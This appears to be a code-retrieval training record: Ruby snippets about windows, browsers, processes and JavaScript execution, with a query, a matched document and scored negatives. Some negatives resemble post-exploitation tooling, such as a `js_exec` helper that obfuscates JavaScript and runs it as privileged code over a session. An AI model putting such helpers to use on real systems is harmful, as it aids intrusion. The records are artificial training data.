"def breakpoints\n @breakpoint_tracker.global_breakpoints\n end",
"def darwin_app_list\n Launchy.log \"#{self.class.name} : Using 'open' application on darwin.\"\n [ find_executable('open') ]\n end",
"def client_sockets\n @clients.map(&:socket)\n end",
"def breakpoints\n @breakpoint_tracker.global_breakpoints\n end",
"def desktops\n @desktops ||= if available?\n Libatspi.get_desktop_count.times.map do |idx|\n Desktop.new(Libatspi.get_desktop(idx))\n end\n else\n []\n end\n end",
"def win\n @win\n end",
"def get_window; @window; end",
"def close_multiple_browsers(browser_instance)\n\n# if browser_instance == \"ie\"\n# Sys::ProcTable.ps.each{|ps|\n# if ps.name.downcase==browser_instance+\"xplore.exe\"\n# Process.kill('KILL',ps.pid)\n# end}\n# end\n# if browser_instance != \"ie\"\n $browser.close\n# end\n end",
"def windows_app_list\n Launchy.log \"#{self.class.name} : Using 'start' command on windows.\"\n %w[ start ]\n end",
"def get_browser_contexts\n {\n method: \"Target.getBrowserContexts\"\n }\n end",
"def list_pids\n access_processes do |processes|\n processes.keys\n end\n end",
"def close_blank_windows\n @driver.window_handles.each do |handle|\n @driver.switch_to.window(handle)\n @driver.close if @driver.current_url == 'about:blank'\n end\n end",
"def index\n @windows = Window.all\n end",
"def index\n @windows = Window.all\n end",
"def get_connections\n @connected_to.keys\n end",
"def show_windows\n end",
"def windows?\n @windows\n end",
"def browser_window\n IITBrowserWindow.new(@ole.BrowserWindow)\n end",
"def get_window_bounds(window_id:)\n {\n method: \"Browser.getWindowBounds\",\n params: { windowId: window_id }.compact\n }\n end",
"def windows(opts = {})\n WindowCollection.new self, opts\n end",
"def scan_window\n return nil unless scan_windows\n scan_windows.first\n end",
"def focused_window\n window_pointer = FFI::MemoryPointer.new :ulong, 1\n XDo::FFILib.xdo_window_get_focus @_pointer, window_pointer\n XDo::Window.new self, window_pointer.read_ulong\n end",
"def all_processes\r\n h = CALLS[\"kernel32!CreateToolhelp32Snapshot:LL=L\"].call(0x2, 0)\r\n if h != -1\r\n pi = [(9*4)+2048,0,0,0,0,0,0,0,0,\"\\x00\"*2048].pack(\"LLLLLLLLLa2048\")\r\n if CALLS[\"kernel32!Process32First:LP=L\"].call(h, pi) != 0\r\n yield str2process_info(pi)\r\n while CALLS[\"kernel32!Process32Next:LP=L\"].call(h, pi) != 0\r\n yield str2process_info(pi)\r\n end\r\n end\r\n else\r\n raise WinX.new(:create_toolhelp32_snapshot)\r\n end\r\n end",
"def cygwin_app_list\n Launchy.log \"#{self.class.name} : Using 'cmd /C start' on windows.\"\n [ \"cmd /C start\" ]\n end",
"def store_all_window_ids variable_name\r\n command 'storeAllWindowIds', variable_name\r\n end",
"def open_spaces\n board.map.with_index { |space, index| index if space_open?(index) }.compact\n end",
"def index\n project.pick_windows.index(self) + 1\n end",
"def active_window\n window_pointer = FFI::MemoryPointer.new :ulong, 1\n XDo::FFILib.xdo_window_get_active @_pointer, window_pointer\n XDo::Window.new self, window_pointer.read_ulong\n end",
"def get_ps_pids(pids = [])\n current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] }\n # Subtract previously known pids\n current_pids = (current_pids - pids).uniq\n current_pids\n end",
"def ensure_only_one_browser_window_open\n $tracer.trace(\"PowerUpRewardsDSL : #{__method__}, Line : #{__LINE__}\")\n $tracer.report(\"Should #{__method__}.\")\n if(browser_count > 1)\n for i in (browser_count - 1) .. 1\n browser(i).close\n end\n end\n\n browser(0)\n end",
"def window_size\n manage.window.size\n end",
"def window_size\n manage.window.size\n end",
"def window_size\n manage.window.size\n end",
"def current_workflow_processes\n wf_processes = []\n RuoteKit.engine.processes.each do |wfp|\n wf_processes << wfp if wfp.target == self\n end\n\n wf_processes\n end",
"def get_active_clients\n KEY_MAPS.each_key.inject([]) do |res, client|\n client_class = Notification::Dispatch.const_get(client.to_s.capitalize.intern).new\n client_class.is_active? ? res.push(client_class) : res\n end\n end",
"def ensure_only_one_browser_window_open\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n if (browser_count > 1)\n for i in (browser_count - 1) .. 1\n browser(i).close\n end\n end\n\n browser(0)\n end",
"def page_window window_number=0\n get_page source_window window_number\n nil\n end",
"def get_browser_keys(browsers)\n @browser_keys = []\n\n # Iterates through every browser and adds the key to an array of browsers.\n browsers.each do |key, browser|\n @browser_keys.push(key)\n end\nend",
"def get_browser_keys(browsers)\n @browser_keys = []\n\n # Iterates through every browser and adds the key to an array of browsers.\n browsers.each do |key, browser|\n @browser_keys.push(key)\n end\nend",
"def getwin(file)\n Ncurses.getwin(file)\n end",
"def window(name_or_handle)\n logger.info 'EyesTargetLocator.window()'\n logger.info 'Making preparaions...'\n on_will_switch.will_switch_to_window name_or_handle\n logger.info 'Done! Switching to window..'\n __getobj__.window name_or_handle\n logger.info 'Done!'\n driver\n end",
"def build_handle_list\n return @handles.uniq.join(\"\\n\")\n end",
"def new_tab\n execute_script('window.open();')\n window_handles.last\n end",
"def get_client_sockets\n\t\tclient_sockets = []\n\t\t@connection_array.each do |conn| \n\t\t\tclient_sockets << conn.socket\n\t\tend\n\t\treturn client_sockets\n\tend",
"def processes\n\t\tif ::File.directory? \"C:/WINDOWS\"\n\t\t\twindows_processes\n\t\telse\n\t\t\tos = `uname -s`.chomp\n\t\t\tif os == \"Linux\"\n\t\t\t\tresolve_unix_uids(linux_processes)\n\t\t\telsif os == \"Darwin\" or os == \"FreeBSD\"\n\t\t\t\tos_x_processes\n\t\t\telse\n\t\t\t\t[]\n\t\t\tend\n\t\tend\n\tend",
"def size\n width_pointer = FFI::MemoryPointer.new :int, 1\n height_pointer = FFI::MemoryPointer.new :int, 1\n XDo::FFILib.xdo_get_window_size @_xdo_pointer, @_window, width_pointer,\n height_pointer\n [width_pointer.read_int, height_pointer.read_int]\n end",
"def unix_pids\n pids = []\n x = `ps auxw | grep -v grep | awk '{print $2, $11}' | grep #{app_name}`\n if x && x.chomp!\n processes = x.split(/\\n/).compact\n processes = processes.delete_if do |p|\n pid, name = p.split(/\\s/)\n # We want to make sure that the first part of the process name matches\n # so that app_name matches app_name_22\n app_name != name[0..(app_name.length - 1)]\n end\n pids = processes.map {|p| p.split(/\\s/)[0].to_i}\n end\n\n pids\n end",
"def unix_pids\n pids = []\n x = `ps auxw | grep -v grep | awk '{print $2, $11}' | grep #{app_name}`\n if x && x.chomp!\n processes = x.split(/\\n/).compact\n processes = processes.delete_if do |p|\n pid, name = p.split(/\\s/)\n # We want to make sure that the first part of the process name matches\n # so that app_name matches app_name_22\n app_name != name[0..(app_name.length - 1)]\n end\n pids = processes.map {|p| p.split(/\\s/)[0].to_i}\n end\n\n pids\n end"
] | [
"0.7535629",
"0.7270034",
"0.71273226",
"0.6849873",
"0.6761626",
"0.66838485",
"0.63624346",
"0.6241978",
"0.6189276",
"0.616665",
"0.60464746",
"0.6037284",
"0.5969696",
"0.5853533",
"0.5799085",
"0.571166",
"0.5577692",
"0.55712867",
"0.5560847",
"0.55448204",
"0.5524869",
"0.5484909",
"0.5400782",
"0.53717375",
"0.5364643",
"0.53363943",
"0.53363943",
"0.5335447",
"0.5321001",
"0.5312311",
"0.53043437",
"0.52921844",
"0.5271946",
"0.525812",
"0.52506196",
"0.52271223",
"0.5197581",
"0.5196098",
"0.51782894",
"0.51656187",
"0.5132134",
"0.5124658",
"0.5124399",
"0.5108797",
"0.5108797",
"0.5069548",
"0.5065083",
"0.50497323",
"0.5047929",
"0.5013211",
"0.49995682",
"0.4992056",
"0.4986639",
"0.49811932",
"0.49779457",
"0.4970833",
"0.4969635",
"0.49608797",
"0.49358478",
"0.49355665",
"0.4934727",
"0.4911953",
"0.49100158",
"0.49094036",
"0.49012023",
"0.49012023",
"0.48875538",
"0.48843578",
"0.48814145",
"0.48664063",
"0.48645937",
"0.48634702",
"0.4858897",
"0.48559466",
"0.4827943",
"0.48278403",
"0.48166513",
"0.48021573",
"0.47875175",
"0.4786312",
"0.47794682",
"0.47747946",
"0.4772303",
"0.4772303",
"0.4772303",
"0.4756081",
"0.4754178",
"0.4753781",
"0.47500175",
"0.47461444",
"0.47461444",
"0.47438946",
"0.47396255",
"0.4727364",
"0.4714167",
"0.47036734",
"0.4697478",
"0.46899793",
"0.46887344",
"0.46887344"
] | 0.7942548 | 0 |
Get the current window handle | def window_handle
bridge.window_handle
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def current_window\n @driver.window_handle\n rescue Selenium::WebDriver::Error::NoSuchWindowError\n nil\n end",
"def window_handle; end",
"def window\n @session.request(:vim_get_current_window)\n end",
"def window_handle\n driver.window_handle\n end",
"def hwnd\n Functions.control_hwnd(@window.hwnd, @locators)\n end",
"def window\n @win\n end",
"def window\r\n return $window\r\n end",
"def focused_window\n window_pointer = FFI::MemoryPointer.new :ulong, 1\n XDo::FFILib.xdo_window_get_focus @_pointer, window_pointer\n XDo::Window.new self, window_pointer.read_ulong\n end",
"def active_window\n window_pointer = FFI::MemoryPointer.new :ulong, 1\n XDo::FFILib.xdo_window_get_active @_pointer, window_pointer\n XDo::Window.new self, window_pointer.read_ulong\n end",
"def get_window; @window; end",
"def get_window_number()\r\n $jssh_socket.send(\"getWindows().length;\\n\", 0)\r\n @@current_window = read_socket().to_i - 1\r\n \r\n # Derek Berner 5/16/08 \r\n # If at any time a non-browser window like the \"Downloads\" window \r\n # pops up, it will become the topmost window, so make sure we \r\n # ignore it.\r\n @@current_window = js_eval(\"getWindows().length\").to_i - 1\r\n while js_eval(\"getWindows()[#{@@current_window}].getBrowser\") == ''\r\n @@current_window -= 1;\r\n end\r\n\r\n # This will store the information about the window.\r\n #@@window_stack.push(@@current_window)\r\n #puts \"here in get_window_number window number is #{@@current_window}\"\r\n return @@current_window\r\n end",
"def real_focused_window\n window_pointer = FFI::MemoryPointer.new :ulong, 1\n XDo::FFILib.xdo_window_sane_get_focus @_pointer, window_pointer\n XDo::Window.new self, window_pointer.read_ulong\n end",
"def window_id(window)\n window.id_.get\n end",
"def window_id(window)\n window.id_.get\n end",
"def window_id(window)\n window.id_.get\n end",
"def active_window\n current_terminal.current_session\n end",
"def win\n @win\n end",
"def window_id\n return (env = to_i!(ENV['WINDOWID'])) if env\n \n curr_pid = Process.pid\n until curr_pid.to_i < 2\n file = environ_file(curr_pid)\n if file and (xid = to_i!(file.read.scan(/(?<=WINDOWID=)\\d+/)[0]))\n return xid\n else\n curr_pid = ppid_of(curr_pid)\n end\n end\n \n end",
"def active_window\n if File.exists?(wmii_namespace)\n 'wmiir cat /client/sel/ctl | sed 1q'\n else\n %q[xprop -root _NET_ACTIVE_WINDOW | awk '/#/ { print $(NF) ; exit } END { exit 1 }' || xdotool getwindowfocus]\n end\nend",
"def active_quick_window_id\n driver.getActiveQuickWindowID()\n end",
"def current?\n current_window == handle\n end",
"def selected_window\n list_windows[@command_window.item]\n end",
"def pid\n XDo::FFILib.xdo_window_get_pid @_xdo_pointer, @_window\n end",
"def get_window_area()\n get_children_area(\"WINDOW\")\n end",
"def get_window_area()\n get_children_area(\"WINDOW\")\n end",
"def current_window_builder\n return UI::Window.window_builder(current_windowskin)\n end",
"def current_window_builder\n return UI::Window.window_builder(current_windowskin)\n end",
"def window\n Window\n end",
"def inspect # :nodoc:\n \"<Window: #{title} (#{handle})>\"\n end",
"def getwin(file)\n Ncurses.getwin(file)\n end",
"def window\n self\n end",
"def window_name(win_id)\n driver.getQuickWindowName(win_id)\n end",
"def pid_from_window(id)\n\tIO.popen(_net_wm(id)) { |p| p.readline.chomp }.split[2].to_i\nend",
"def active_window\n windows = @terminal.windows.get\n windows.detect do |window|\n window.properties_.get[:frontmost] rescue false\n end\n end",
"def active_window\n windows = @terminal.windows.get\n windows.detect do |window|\n window.properties_.get[:frontmost] rescue false\n end\n end",
"def window_handles\n bridge.window_handles\n end",
"def window\n Window_Base.new(0, 0, 0, 0)\n end",
"def usable_window\n window = @windows.last\n window if window.loaded?\n end",
"def window_id\n -1\n end",
"def window_id\n -1\n end",
"def get_window_name(win_id)\n @driver.getWindowName(win_id)\n end",
"def window\n @window || create_window\n end",
"def currentWindowTitle\n begin\n return theBrowser.title\n rescue\n return nil\n end\n end",
"def window\n WIN[:find].call 'ConsoleWindowClass', title\n end",
"def window\n WIN[:find].call 'ConsoleWindowClass', title\n end",
"def pid_to_hwnd\n @pid_to_hwnd = create_pid_to_hwnd_dic unless @pid_to_hwnd\n @pid_to_hwnd\n end",
"def window_rect\n manage.window.rect\n end",
"def window_rect\n manage.window.rect\n end",
"def window_rect\n manage.window.rect\n end",
"def window(name_or_handle)\n logger.info 'EyesTargetLocator.window()'\n logger.info 'Making preparaions...'\n on_will_switch.will_switch_to_window name_or_handle\n logger.info 'Done! Switching to window..'\n __getobj__.window name_or_handle\n logger.info 'Done!'\n driver\n end",
"def current_name_window_builder\n return UI::Window.window_builder(current_name_windowskin)\n end",
"def get_window_count\n return @browser.windows.count\n end",
"def original_window\n @original_window ||= window\n end",
"def get_window_object()\n driver.manage.window\nend",
"def window_handles; end",
"def window name, cwd, cmd\n tab name, cwd, cmd\n end",
"def get_window()\n begin\n driver.title\n rescue\n nil\n end\nend",
"def get_window_object()\n driver.manage.window\nend",
"def current_item\n current_window.item\n end",
"def preferred_handle\n @preferred_handle\n end",
"def window_handles\n driver.window_handles\n end",
"def window\n @window ||= UIWindow.alloc.initWithFrame(UIScreen.mainScreen.bounds)\n end",
"def get_window()\n begin\n driver.title\n rescue\n nil\n end\nend",
"def window_focus window_name\r\n command 'windowFocus', window_name\r\n end",
"def get_window_for_target(target_id: nil)\n {\n method: \"Browser.getWindowForTarget\",\n params: { targetId: target_id }.compact\n }\n end",
"def get_status_window\n return @status_window if @status_window.is_a?(Window_BattleStatus)\n return nil\n end",
"def current_window\n case current_action\n when :buy\n @goods_window\n when :sell\n @sell_window\n when :rebuy\n @rebuy_window\n else\n nil\n end\n end",
"def window name, cwd, cmd\n raise NotImplementedError.new(\n \"window should be implemented to open new window\")\n end",
"def windows?; end",
"def window_by_id(id)\n @windows.ID(id)\n end",
"def window_by_id(id)\n @windows.ID(id)\n end",
"def window_by_id(id)\n @windows.ID(id)\n end",
"def gtk_window\n @gtk_main_window\n end",
"def window(id)\n if block_given?\n original = begin\n @bridge.window_handle\n rescue Error::NoSuchWindowError\n nil\n end\n\n unless @bridge.window_handles.include? id\n raise Error::NoSuchWindowError, \"The specified identifier '#{id}' is not found in the window handle list\"\n end\n\n @bridge.switch_to_window id\n\n begin\n returned = yield\n ensure\n current_handles = @bridge.window_handles\n original = current_handles.first unless current_handles.include? original\n @bridge.switch_to_window original\n returned\n end\n else\n @bridge.switch_to_window id\n end\n end",
"def page_window window_number=0\n get_page source_window window_number\n nil\n end",
"def new_tab\n execute_script('window.open();')\n window_handles.last\n end",
"def element\n window\n end",
"def getcurx\n Ncurses.getcurx(pointer)\n end",
"def browser_window\n IITBrowserWindow.new(@ole.BrowserWindow)\n end",
"def panel_window\n FFI::NCurses.panel_window(@pointer)\n end",
"def current_app\n `osascript -e 'POSIX path of (path to frontmost application as text)'`.chomp\nend",
"def linger caller_window=nil\n begin\n if caller_window\n ch = @win.getchar\n caller_window.ungetch(ch) # will this be available to underlying window XXX i think not !!\n else\n sleep 1\n end\n ensure\n destroy\n end\n end",
"def panel_window\n Panel.panel_window(pointer)\n end",
"def window_rect\n buffer = [0,0,0,0].pack('l4')\n GetWindowRect.(handle, buffer)\n return Rect.new(*buffer.unpack('l4'))\n end",
"def current_screen\n @sequence[@pointer]\n end",
"def switch_to_previous_window\n @window_id -= 1\n if @window_id < 0\n # wrap back to the last\n @window_id = @browser.windows.count - 1\n end\n\n @browser.windows[@window_id].use\n end",
"def current_window_builder(skin)\n Window.window_builder(skin)\n end",
"def window(name)\n Tk.execute_only(:tkwait, :window, name)\n end",
"def current_application\n Wasko::Applescript.run do\n \"get name of (info for (path to frontmost application))\"\n end\n end",
"def switch_window\n current_window = window\n wins = windows\n wait_until { (wins = windows) && wins.size > 1 } if wins.size == 1\n raise StandardError, 'Unable to determine which window to switch to' if wins.size > 2\n\n wins.find { |w| w != current_window }.use\n window\n end",
"def return_last_tab\n local_window = active_window\n local_tabs = local_window.tabs if local_window\n local_tabs.last.get if local_tabs\n end",
"def return_last_tab\n local_window = active_window\n local_tabs = local_window.tabs if local_window\n local_tabs.last.get if local_tabs\n end",
"def xwininfo\n @xwininfo ||= `xwininfo -id #{@id}`\n end",
"def find_parent_process_with_hwnd pid\n while hwnd=pid_to_hwnd[pid].nil?\n pid = find_parent_pid(pid)\n return nil unless pid\n end\n return [pid,hwnd]\n end",
"def window\n @gtk_socket\n end",
"def switch_to_main_window\n $previous_window = $driver.window_handle\n $driver.switch_to.window($driver.window_handles.first)\nend",
"def switch_to_new_window\n $previous_window = $driver.window_handle\n $driver.switch_to.window($driver.window_handles.last)\nend",
"def buffer\n $curwin.buffer\n end",
"def active_window\n return @active_members_window if @last_window == :active_members_window\n return @reserve_members_window if @last_window == :reserve_members_window\n nil\n end",
"def url()\r\n @window_url\r\n end"
] | [
"0.7781272",
"0.76789564",
"0.7620053",
"0.75736654",
"0.7384918",
"0.72361344",
"0.72247577",
"0.72045654",
"0.7137868",
"0.7121852",
"0.6991232",
"0.69166875",
"0.6916038",
"0.6916038",
"0.6916038",
"0.67955166",
"0.66971135",
"0.66764915",
"0.66752243",
"0.66608435",
"0.6610835",
"0.65889424",
"0.6561335",
"0.65365505",
"0.6517019",
"0.6516897",
"0.6516897",
"0.6474022",
"0.6405579",
"0.63948816",
"0.6378277",
"0.63542926",
"0.63393575",
"0.63040376",
"0.63040376",
"0.6291558",
"0.6260017",
"0.6251689",
"0.6235815",
"0.6235815",
"0.62240976",
"0.6170197",
"0.6165652",
"0.60695744",
"0.60695744",
"0.606831",
"0.60579336",
"0.60579336",
"0.60579336",
"0.6038248",
"0.60043573",
"0.59907734",
"0.5956411",
"0.59344363",
"0.5931927",
"0.5926462",
"0.5903819",
"0.5892321",
"0.5891347",
"0.58778536",
"0.58601767",
"0.5854267",
"0.58511895",
"0.58499163",
"0.5846147",
"0.58364975",
"0.5817949",
"0.58154446",
"0.57826895",
"0.5777686",
"0.5777686",
"0.5777686",
"0.5777327",
"0.5775296",
"0.57700825",
"0.57103974",
"0.57047486",
"0.56823033",
"0.5678662",
"0.56783706",
"0.5669665",
"0.56672806",
"0.56639844",
"0.5656418",
"0.5653409",
"0.56492406",
"0.5631851",
"0.55939174",
"0.55777526",
"0.5576386",
"0.5558017",
"0.5558017",
"0.55328876",
"0.55290943",
"0.5525938",
"0.551882",
"0.5482034",
"0.547865",
"0.5473535",
"0.5441123"
] | 0.8232448 | 0 |
Execute the given JavaScript | def execute_script(script, *args)
bridge.execute_script(script, *args)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def j(javascript); end",
"def eval(js_code)\n full_cmd = @cmd % [escape_js(js_code)]\n `#{full_cmd}`\n end",
"def js_exec(js, timeout=30)\n print_status \"Running the privileged javascript...\"\n token = \"[[#{Rex::Text.rand_text_alpha(8)}]]\"\n js = js_obfuscate(js)\n session.shell_write(\"#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}\")\n session.shell_read_until_token(\"[!JAVASCRIPT]\", 0, timeout)\n end",
"def execute_script(script)\n current_frame.executeJavaScript(script)\n nil\n end",
"def execute_script(js)\n object = driver.executeScript(js, [].to_java(:string))\n end",
"def execute_javascript(iJS)\n if RailsAjax.config.Enabled\n logger.debug \"[RailsAjax] Add javascript to be executed: #{iJS[0..255]}\"\n if (defined?(@JSToExecute) == nil)\n @JSToExecute = []\n end\n @JSToExecute << iJS\n end\n end",
"def script(text)\n \"<script type=\\\"text/javascript\\\">jQuery(document).ready(function() {#{text};});</script>\"\n end",
"def javascript(*args, &block)\n if args.length > 2\n raise ArgumentError, \"Cannot accept more than two arguments\"\n end\n attributes, value = nil, nil\n arg0 = args[0]\n if arg0.is_a?(Hash)\n attributes = arg0\n else\n value = arg0\n arg1 = args[1]\n if arg1.is_a?(Hash)\n attributes = arg1\n end\n end\n attributes ||= {}\n attributes[:type] = \"text/javascript\"\n open_tag 'script', attributes\n\n # Shouldn't this be a \"cdata\" HtmlPart?\n # (maybe, but the syntax is specific to javascript; it isn't\n # really a generic XML CDATA section. Specifically,\n # ]]> within value is not treated as ending the\n # CDATA section by Firefox2 when parsing text/html,\n # although I guess we could refuse to generate ]]>\n # there, for the benefit of XML/XHTML parsers).\n rawtext \"\\n// <![CDATA[\\n\"\n if block\n instance_eval(&block)\n else\n rawtext value\n end\n rawtext \"\\n// ]]>\\n\"\n\n close_tag 'script'\n text \"\\n\"\n end",
"def javascript(*args, &block)\n if args.length > 2\n raise ArgumentError, \"Cannot accept more than two arguments\"\n end\n attributes, value = nil, nil\n arg0 = args[0]\n if arg0.is_a?(Hash)\n attributes = arg0\n else\n value = arg0\n arg1 = args[1]\n if arg1.is_a?(Hash)\n attributes = arg1\n end\n end\n attributes ||= {}\n attributes[:type] = \"text/javascript\"\n open_tag 'script', attributes\n\n # Shouldn't this be a \"cdata\" HtmlPart?\n # (maybe, but the syntax is specific to javascript; it isn't\n # really a generic XML CDATA section. Specifically,\n # ]]> within value is not treated as ending the\n # CDATA section by Firefox2 when parsing text/html,\n # although I guess we could refuse to generate ]]>\n # there, for the benefit of XML/XHTML parsers).\n rawtext \"\\n// <![CDATA[\\n\"\n if block\n instance_eval(&block)\n else\n rawtext value\n end\n rawtext \"\\n// ]]>\\n\"\n\n close_tag 'script'\n rawtext \"\\n\"\n end",
"def execute_javascript(js_code)\n if RailsAjax.config.enabled?\n logger.debug \"[RailsAjax] Add javascript to be executed: #{js_code[0..255]}\"\n @js_to_execute = [] if (defined?(@js_to_execute) == nil)\n @js_to_execute << js_code\n end\n end",
"def evaluate_script(script)\n current_frame.executeJavaScript(script).getJavaScriptResult\n end",
"def inject_js; end",
"def js(*code)\n JS.new(*code)\nend",
"def execute script\n native.execute_script script\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def call_js_init(something_js)\n content_for :javascript do\n \"<script type='text/javascript'>\n $(document).ready(function(){\n #{something_js}\n });\n </script>\".html_safe\n end\n end",
"def js_func(*jsstmts) js_value %Q|function(rc) { #{jsstmts.join(COLON)}; }| end",
"def jmaki_generate_script(script)\n \"<script type='text/javascript'>\" + script + \"</script>\\n\"\n end",
"def <<(javascript)\n self.script << javascript\n \n javascript\n end",
"def execute_script(script, *args, function_name: nil)\n args.map! do |e|\n e.is_a?(Element) ? e.wait_until(&:exists?).wd : e\n end\n Watir.logger.info \"Executing Script on Browser: #{function_name}\" if function_name\n wrap_elements_in(self, @driver.execute_script(script, *args))\n end",
"def inject_js=(_arg0); end",
"def js_call(obj, *args)\n js_apply(obj,args)\n end",
"def execute_script(script, *args); end",
"def js(page_js) \n page_js.split(' ').each do |item|\n content_for(:js) do\n \"<script src=\\\"/javascripts/#{item}.js\\\" type=\\\"text/javascript\\\"></script>\\n\" \n end\n end \n end",
"def script(&block)\n\t\t\t@script = block\n\t\tend",
"def execEditorScript _obj, _args\n \"_obj execEditorScript _args;\" \n end",
"def execute_script(*args)\n raises_error { __getobj__.execute_script(*args) }\n end",
"def inject_javascript_at_end(*args)\n @javascript_codes ||= []\n @javascript_codes += args\n end",
"def javascript(value = nil, attributes = {})\n if value.is_a?(Hash)\n attributes = value\n value = nil\n elsif block_given? && value\n raise ArgumentError, \"You can't pass both a block and a value to javascript -- please choose one.\"\n end\n\n script(attributes.merge(:type => \"text/javascript\")) do\n # Shouldn't this be a \"cdata\" HtmlPart?\n # (maybe, but the syntax is specific to javascript; it isn't\n # really a generic XML CDATA section. Specifically,\n # ]]> within value is not treated as ending the\n # CDATA section by Firefox2 when parsing text/html,\n # although I guess we could refuse to generate ]]>\n # there, for the benefit of XML/XHTML parsers).\n output << raw(\"\\n// <![CDATA[\\n\")\n if block_given?\n yield\n else\n output << raw(value)\n end\n output << raw(\"\\n// ]]>\")\n output.append_newline # this forces a newline even if we're not in pretty mode\n end\n\n output << raw(\"\\n\")\n end",
"def execute_script(script, *args)\n driver.execute_script(script, *args)\n end",
"def script\n @script || JavascriptObject.global_script\n end",
"def script\n scr = js_initialize \n # Method #each is delegated to element \n scr << \"\\n\"\n each { |c| \n # Note that Array#script is defined \n # in element.rb\n if c.respond_to?(:script) then\n scr << c.script \n end\n }\n scr << js_finalize\n scr\n end",
"def javascript(s)\n convert(s, mime: 'application/javascript')\n end",
"def evaluate_compiled_script(script)\n raise NotImplementedError\n end",
"def execute_script(code_string)\n if self.visible?\n super(code_string) # (\"try{ eval(#{code_string.inspect}) } catch(e){ AE.Bridge.puts(\\\"Error in #{caller.first.inspect.inspect[3...-3]} \\\" + e) }\")\n else\n self.on_show{\n self.execute_script(code_string)\n }\n false # TODO: should the method return a boolean at all? It would execute the script anyways.\n end\nend",
"def javascript(js=nil)\n @javascript ||= []\n @javascript << js\n @javascript.join(\"\\n\")\n end",
"def web_browser_block_java_script=(value)\n @web_browser_block_java_script = value\n end",
"def js_code\n '<script type=\"text/javascript\">' <<\n asset('webconsole.js') <<\n '</script>'\n end",
"def inline_javascript(*scripts, &block)\n options = scripts.last.is_a?(Hash) ? scripts.pop : {}\n options.stringify_keys!\n options['defer'] ||= 'on_load' if options['on_load']\n\n content = if block_given?\n capture(&block)\n else\n \"#{scripts.join(\"\\n\")}\"\n end\n\n case options['defer'].to_s\n when 'jquery_onload', 'on_load' then\n strip_script_tags!( content ) if content =~ /^\\s*<script/\n content << \"\\n\" unless content =~ /\\n$/\n content_for_with_top :jquery_onload, content, options\n else\n content = javascript_tag_without_defer_options(content, options['html_options']||{}) unless content =~ /^\\s*<script/\n content_for_with_top :inline_javascripts, content, options\n end\n ''\n end",
"def js_tag(script) #:nodoc:\r\n \"<script type=\\\"text/javascript\\\">#{script}</script>\"\r\nend",
"def js_tag(script) #:nodoc:\r\n \"<script type=\\\"text/javascript\\\">#{script}</script>\"\r\nend",
"def eval_code(js_code)\n retval = nil\n error = nil\n\n begin\n retval = `eval(js_code)`\n retval = retval ? retval.to_s : ''\n print_to_output(retval) if @output_buffer.length == 0 && !retval.empty?\n rescue => err\n error = err\n log_error(err)\n end\n\n # Do not check the answer if there is no regexp matcher\n if @current_item && @current_item.answer\n # Get last line of output\n value_to_check = @output_buffer.length > 0 && !@output_buffer.last.empty? ? @output_buffer.last.chomp : ''\n\n # Check if output matches the defined answer regexp\n # and print status message\n print_to_output(\"\\n\")\n from = count_lines\n\n if !value_to_check.empty? && value_to_check.chomp.match(@current_item.answer)\n @current_item.ok.each do |line|\n print_to_output(line)\n end\n @output.mark_ok(from, count_lines)\n else\n @current_item.error.each do |line|\n print_to_output(line)\n end\n @output.mark_error(from, count_lines)\n end\n end\n end",
"def javascript(*args)\n args = *args.map { |arg| arg == :defaults ? arg : arg.to_s }\n content_for(:javascripts) { javascript_include_tag()}\n end",
"def evaluate(script, filename = nil, linenum = nil)\n return nil if script.nil?\n compiled_script = compile(script, filename, linenum)\n evaluate_compiled_script(compiled_script)\n end",
"def evaluate(script, filename = nil, linenum = nil)\n compiled_script = compile(script, filename, linenum)\n evaluate_compiled_script(compiled_script)\n end",
"def evaluate(script, filename = nil, linenum = nil)\n compiled_script = compile(script, filename, linenum)\n evaluate_compiled_script(compiled_script)\n end",
"def eval(script)\n context.eval(script)\n end",
"def javascript_tag(content_or_options_with_block = T.unsafe(nil), html_options = T.unsafe(nil), &block); end",
"def javascript!\n @coffeescript = false\n end",
"def js(name, *args)\n js_or_css :js, name, *args\n end",
"def js_get(js_string)\n return @selenium.js_eval($window + js_string)\n end",
"def render_javascript(template)\n assign(template: template)\n assign(nonce: @env[\"action_dispatch.content_security_policy_nonce\"])\n render(template: template, layout: \"layouts/javascript\")\n end",
"def test\n jsfl.test\n execute\n end",
"def add_javascripts(*args, &block)\n add_or_print_scripts(:regulars, *args, &block)\n end",
"def compile_callback(meth, args = {})\n code( js_repl meth, js_json_parms(args) )\n\n self._compiled = <<\"JAVASCRIPT\"\n(function(repl) {\n try {\n #{code.join(' ')}\n } catch(e) {\n repl.rc_fail(e.name, e.message ? e.message : e);\n };\n})(#{replid});\nJAVASCRIPT\n\n self._code = []\n end",
"def initialize javascript_functions\n require File.join(File.dirname(__FILE__), %w{.. ext inline_java_script_v8_wrapper inline_java_script_v8_wrapper})\n\n @wrapper = InlineJavaScript::V8Wrapper.new\n @wrapper.execute(javascript_functions)\n end",
"def script_load(script); end",
"def js_confirm(status)\n page.evaluate_script 'window.original_confirm_function = window.confirm;'\n page.evaluate_script \"window.confirm = function(msg) { return #{status == 'accept'}; }\"\n yield\n page.evaluate_script 'window.confirm = window.original_confirm_function;'\nend",
"def url_to_javascript(source, options = T.unsafe(nil)); end",
"def ajax_action_code\n js = Waw::ActionController::JSGeneration.new\n code = js.generate_js_for_action(Waw::kernel, self, \"\")\n <<-EOF\n <script type=\"text/javascript\">\n #{code}\n </script>\n EOF\n end",
"def run_script(script)\n begin\n instance_eval(script)\n rescue\n @result.add_failure $!\n end\n end",
"def to_js_full_script(element_id=SecureRandom.uuid)\n js = ''\n js << '\\n<script type=\\'text/javascript\\'>'\n js << load_js(element_id)\n js << draw_js(element_id)\n js << '\\n</script>'\n js\n end",
"def javascript path = nil, attrs = {}, &block\n contents = yield if block\n Tagz.tag :script, contents, { :type => 'text/javascript', :src => path }.merge(attrs)\n end",
"def javascript(*args)\n content_for(:javascript) { javascript_include_tag(*args) }\n end",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def run_script\n Script.new(instructions, storage, self).execute\n end",
